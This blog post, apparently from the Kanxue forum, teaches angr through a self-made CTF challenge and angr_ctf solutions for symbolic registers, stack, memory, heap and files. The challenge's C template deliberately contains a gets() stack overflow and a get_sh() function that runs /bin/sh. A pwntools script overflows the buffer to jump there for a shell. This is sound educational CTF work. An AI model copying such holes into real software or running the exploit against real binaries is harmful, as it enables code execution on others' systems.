其他
angr学习(三)一道自己模仿着出的简单题和angr-ctf符号化输入相关题目
本文为看雪论坛优秀文章
一道自己模仿出的题目
#!/usr/bin/env pypy
import sys, random, os, tempfile
from templite import Templite
def generate(argv):
if len(argv) != 3:
print 'Usage: pypy generate.py [seed] [output_file]'
sys.exit()
seed = argv[1]
output_file = argv[2]
random.seed(seed)
# 获取描述文字
description = ''
with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'description.txt'), 'r') as desc_file:
description = desc_file.read().encode('string_escape').replace('\"', '\\\"')
random_list = [random.choice([True, False]) for _ in xrange(64)]
# 读取模板文件auto.c.templite
template = open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'auto.c.templite'), 'r').read()
# 渲染模板,传入描述文字和随机boolean列表,得到c代码
c_code = Templite(template).render(description=description, random_list=random_list)
# 写c代码到c文件,并调用gcc进行编译
with tempfile.NamedTemporaryFile(delete=False, suffix='.c') as temp:
temp.write(c_code)
temp.seek(0)
os.system('gcc -m32 -fno-stack-protector -o ' + output_file + ' ' + temp.name)
if __name__ == '__main__':
generate(sys.argv)
描述文字(description.txt)
Welcome~~~
对于angr_ctf题目,这个文件存储的就是 placeholder,print_msg打印的就是从它获取的内容。
${
import random, os
random.seed(os.urandom(8))
userdef_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
userdef = ''.join(random.choice(userdef_charset) for _ in range(8)) # 随机选取8个字母当作userdef,也就是最后输入要比较的字符串
def check_string_recursive(array0, array1, random_list, bit):
if bit < 0:
write('aas(%s, %s);' % (array0, array1))
else:
if random_list[0]: # 如果随机boolean列表第一个元素为True
write('if (CHECK_BIT(%s, %d) == CHECK_BIT(%s, %d)) {' % (array0, bit, array1, bit))
check_string_recursive(array0, array1, random_list[1:], bit-1) # 递归调用
write('} else { aaz(); ')
check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用
write('}')
else: # 如果随机boolean列表第一个元素为False
write('if (CHECK_BIT(%s, %d) != CHECK_BIT(%s, %d)) { aaz();' % (array0, bit, array1, bit))
check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用
write('} else { ')
check_string_recursive(array0, array1, random_list[1:], bit-1) # 递归调用
write('}')
}$
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#define USERDEF "${ userdef }$"
#define LEN_USERDEF ${ write(len(userdef)) }$
// return true if nth bit of array is 1
#define CHECK_BIT(array, bit_index) (!!(((uint8_t*) array)[bit_index / 8] & (((uint8_t) 0x1) << (bit_index % 8))))
char msg[] =
"${ description }$";
uint8_t should_succeed = 1;
void print_msg() {
printf("%s", msg);
}
int complex_function(int value, int i) { // 。。。复杂运算,直接就遍历出来了,应该改复杂一些的
#define LAMBDA 5
if (!('A' <= value && value <= 'Z')) {
printf("Try again.\n");
exit(1);
}
return ((value - 'A' + (LAMBDA * i)) % ('Z' - 'A' + 1)) + 'A';
}
void aaz() {
should_succeed = 0;
}
void get_sh(){
system("/bin/sh");
}
int login_again() {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
setbuf(stdin, NULL);
char pwd[64];
printf("Enter the password again: ");
gets(&pwd); // 栈溢出
if(strcmp(pwd,"deadbeef") == 0){
puts("I think you can't get shell");
}else{
puts("Error.");
}
return 0;
}
void aas(char* compare0, char* compare1) {
if (should_succeed && !strncmp(compare0, compare1, 8)) { // 如果should_succeed为真,且进行复杂运算之后的输入和userdef相等,就进入下一步
login_again();
} else {
printf("Error.\n");
}
}
int main(int argc, char* argv[]) {
char buffer[20];
char password[20];
//print_msg();
for (int i=0; i < 20; ++i) {
password[i] = 0;
}
strncpy(password, USERDEF, LEN_USERDEF); // password = USERDEF,最后要和输入比较的字符串
printf("Enter the password: "); // 输入
scanf("%8s", buffer);
for (int i=0; i<LEN_USERDEF; ++i) { // 对输入进行复杂运算
buffer[i] = (char) complex_function(buffer[i], i);
}
// 递归调用,也就是这里生成很多函数
${ check_string_recursive('buffer', 'password', random_list, 12) }$
}
python generate.py 123 auto
# auto_angr.py
import angr
import sys
def main(argv):
path_to_binary = './auto2'
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
success_address = 0x0804874A
will_not_succeed_address = 0x08048658
simulation.explore(find=success_address, avoid=will_not_succeed_address)
if simulation.found:
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
# auto_exp.py
from pwn import *
#context.log_level = 'debug'
p = process('./auto')
#p = remote('127.0.0.1',10001)
p.recvuntil('password: \n')
p.send('UXYUKVNZ')
p.recvuntil('again: \n')
p.sendline(b'a'*0x4c + p32(0x08048665))
p.recvline()
p.interactive()
03_angr_symbolic_registers
步骤一:查看文件属性和检查安全机制
32位程序 关闭了PIE
步骤二:IDA静态分析
都是寄存器中值,那就说明它们的值不是预先定义好,猜测是对应输入函数get_user_input里的v2和v3,那么去查看输入函数get_user_input的汇编代码。
输入之后,分别把输入值先后赋值给了eax、ebx和edx,刚好对应main函数的v4、v3和v6。
这一题因为输入scanf函数中的格式化字符串更复杂,目前angr不支持从scanf函数读取多个值,所以需要我们往寄存器中手动注入符号。
scanf的格式化字符串复杂 输入来自文件 输入来自网络 输入来自UI交互
步骤三:使用angr解题
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
# 这里我们指定符号执行引擎开始的地方
# 注意,这里state的构造函数用的是blank_state,构造了一个空白state,不再是entry_state了
start_address = 0x80488d1 # :integer (probably hexadecimal)
initial_state = project.factory.blank_state(addr=start_address)
# 创建一个符号位向量(angr用于给二进制文件注入符号值的数据类型)
password0_size_in_bits = 32 # :integer
password0 = claripy.BVS('password0', password0_size_in_bits)
password1_size_in_bits = 32 # :integer
password1 = claripy.BVS('password1', password1_size_in_bits)
password2_size_in_bits = 32 # :integer
password2 = claripy.BVS('password2', password2_size_in_bits)
# 将寄存器设置为符号值。这是向程序中注入符号的一种方法。
# 将不同寄存器设置为不同的符号值
initial_state.regs.eax = password0
initial_state.regs.ebx = password1
initial_state.regs.edx = password2
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.' in str(stdout_output)
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
# 使用eval来得到求解值
# 原解题脚本的state.se已经被废弃,根据提示使用state.solver
solution0 = solution_state.solver.eval(password0)
solution1 = solution_state.solver.eval(password1)
solution2 = solution_state.solver.eval(password2)
# 汇总并格式化上面的结果,最后打印出来
solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ])) # :string
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
Bitvectors:可以看angrctf里的ppt,很清楚,这里就不再贴了。
eval
solver.eval(expression) 将会解出一个可行解 solver.eval_one(expression)将会给出一个表达式的可行解,若有多个可行解,则抛出异常。 solver.eval_upto(expression, n)将会给出最多n个可行解,如果不足n个就给出所有的可行解。 solver.eval_exact(expression, n)将会给出n个可行解,如果解的个数不等于n个,将会抛出异常。 solver.min(expression)将会给出最小可行解 solver.max(expression)将会给出最大可行解
angr_symbolic_stack
步骤一:查看文件属性和检查安全机制
步骤一:查看文件属性和检查安全机制
32位程序 关闭了Canary和PIE
步骤二:IDA静态分析
所以,很明显,add esp,10h指令才是调用scanf函数的最后一条指令。因此,angr启动该程序的地址应该设置为0x08048697。
另外,如果需要push一些无用的数据,则可以使用类似state.regs.esp-=4的代码来达到目的,这行代码实现的就是填充4字节的padding。
步骤三:使用angr解题
import angr
import claripy
import sys
def main(argv):
path_to_binary = './04_angr_symbolic_stack'
project = angr.Project(path_to_binary)
# 启动地址设置为 add esp, 10h的下一条指令的地址
start_address = 0x8048697
initial_state = project.factory.blank_state(addr=start_address)
# 开始构造栈结构
# 最初,ebp和esp的值相等
initial_state.regs.ebp = initial_state.regs.esp
# 两个位向量,符号化输入
password0 = claripy.BVS('password0', 32)
password1 = claripy.BVS('password1', 32)
# 由上面的栈结构图可知ebp距离输入8字节,所以先填充8字节无用数据
padding_length_in_bytes = 8 # :integer
initial_state.regs.esp -= padding_length_in_bytes
# 然后填充两个位向量
initial_state.stack_push(password0) # :bitvector (claripy.BVS, claripy.BVV, claripy.BV)
initial_state.stack_push(password1)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.' in str(stdout_output)
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
# 求解
solution0 = solution_state.se.eval(password0)
solution1 = solution_state.se.eval(password1)
solution = ' '.join(map(str, [ solution0, solution1 ]))
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
04_angr_symbolic_memory
32位程序 Canary和PIE关闭
import angr
import claripy
import sys
def main(argv):
path_to_binary = './05_angr_symbolic_memory'
project = angr.Project(path_to_binary)
start_address = 0x8048606
initial_state = project.factory.blank_state(addr=start_address)
# scanf("%8s %8s %8s %8s").
password0 = claripy.BVS('password0', 8*8)
password1 = claripy.BVS('password1', 8*8)
password2 = claripy.BVS('password2', 8*8)
password3 = claripy.BVS('password3', 8*8)
# 修改全局变量的值为符号值
password0_address = 0xa29faa0
initial_state.memory.store(password0_address, password0)
password1_address = 0xa29faa8
initial_state.memory.store(password1_address, password1)
password2_address = 0xa29fab0
initial_state.memory.store(password2_address, password2)
password3_address = 0xa29fab8
initial_state.memory.store(password3_address, password3)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.' in str(stdout_output)
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
# 求解
solution0 = solution_state.solver.eval(password0,cast_to=bytes)
solution1 = solution_state.solver.eval(password1,cast_to=bytes)
solution2 = solution_state.solver.eval(password2,cast_to=bytes)
solution3 = solution_state.solver.eval(password3,cast_to=bytes)
solution = solution0 + b' '+ solution1 + b' ' + solution2 + b' ' + solution3
#solution = ' '.join([ solution0, solution1, solution2, solution3 ])
print(solution.decode('utf-8'))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
05_angr_symbolic_dynamic_memory
32位程序 关闭了Canary和PIE
步骤三:使用angr解题
import angr
import claripy
import sys
def main(argv):
path_to_binary = './06_angr_symbolic_dynamic_memory'
project = angr.Project(path_to_binary)
# 启动地址
start_address = 0x804869e
initial_state = project.factory.blank_state(addr=start_address)
#scanf("%8s %8s").
password0 = claripy.BVS('password0', 8*8)
password1 = claripy.BVS('password1', 8*8)
# 修改两个全局指针buffer的值为没有被使用的地址(伪造的heap地址)
fake_heap_address0 = 0x4444444
pointer_to_malloc_memory_address0 = 0xa79a118
initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness)
fake_heap_address1 = 0x4444454
pointer_to_malloc_memory_address1 = 0xa79a120
initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness)
# 修改伪造的heap的内容为符号值
initial_state.memory.store(fake_heap_address0, password0)
initial_state.memory.store(fake_heap_address1, password1)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.' in str(stdout_output)
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
# 求解
solution0 = solution_state.solver.eval(password0,cast_to=bytes)
solution1 = solution_state.solver.eval(password1,cast_to=bytes)
#solution = ' '.join([ solution0, solution1 ])
solution = solution0 + b' ' + solution1
print(solution.decode('utf-8'))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
cast_to:可以接收一个参数来指定把结果映射到哪种数据类型。目前这个参数只能是str,它将会以字符串形式展示返回的结果
06_angr_symbolic_file
32位程序 关闭了PIE
# 内容为字符串
password = angr.storage.SimFile(filename, content='hello world!\n',size=len('hello world!\n'))
# 内容为符号值
symbolic_file_size_bytes = 64
password = claripy.BVS('password', symbolic_file_size_bytes * 8)
password_file = angr.storage.SimFile(filename, content=password, size=symbolic_file_size_bytes)
将模拟文件放入文件系统有两种方法,一是在创建初始状态的同时将模拟文件存储进去:
initial_state = project.factory.blank_state(addr=start_address,fs={filename:password_file})
import angr
import sys
import claripy
def main(argv):
path_to_binary = "./07_angr_symbolic_file"
project = angr.Project(path_to_binary)
start_address = 0x80488DB
filename = 'WCEXPXBW.txt'
symbolic_file_size_bytes = 64
# 位向量,符号化
password = claripy.BVS('password', symbolic_file_size_bytes * 8)
# 模拟一个文件(文件名,文件内容,文件大小)
password_file = angr.storage.SimFile(filename, content=password, size=symbolic_file_size_bytes)
# 创建初始化状态时,创建模拟文件
initial_state = project.factory.blank_state(addr=start_address,fs={filename:password_file})
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.' in str(stdout_output)
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
# 求解
solution = solution_state.solver.eval(password, cast_to=bytes)
print(solution.decode('utf-8'))
#print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
main(sys.argv)
https://github.com/angr/angr-doc/blob/master/docs/file_system.md
https://github.com/jakespringer/angr_ctf/
https://jasper.la/posts/angr-9-simfile-without-simsymbolicmemory/
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!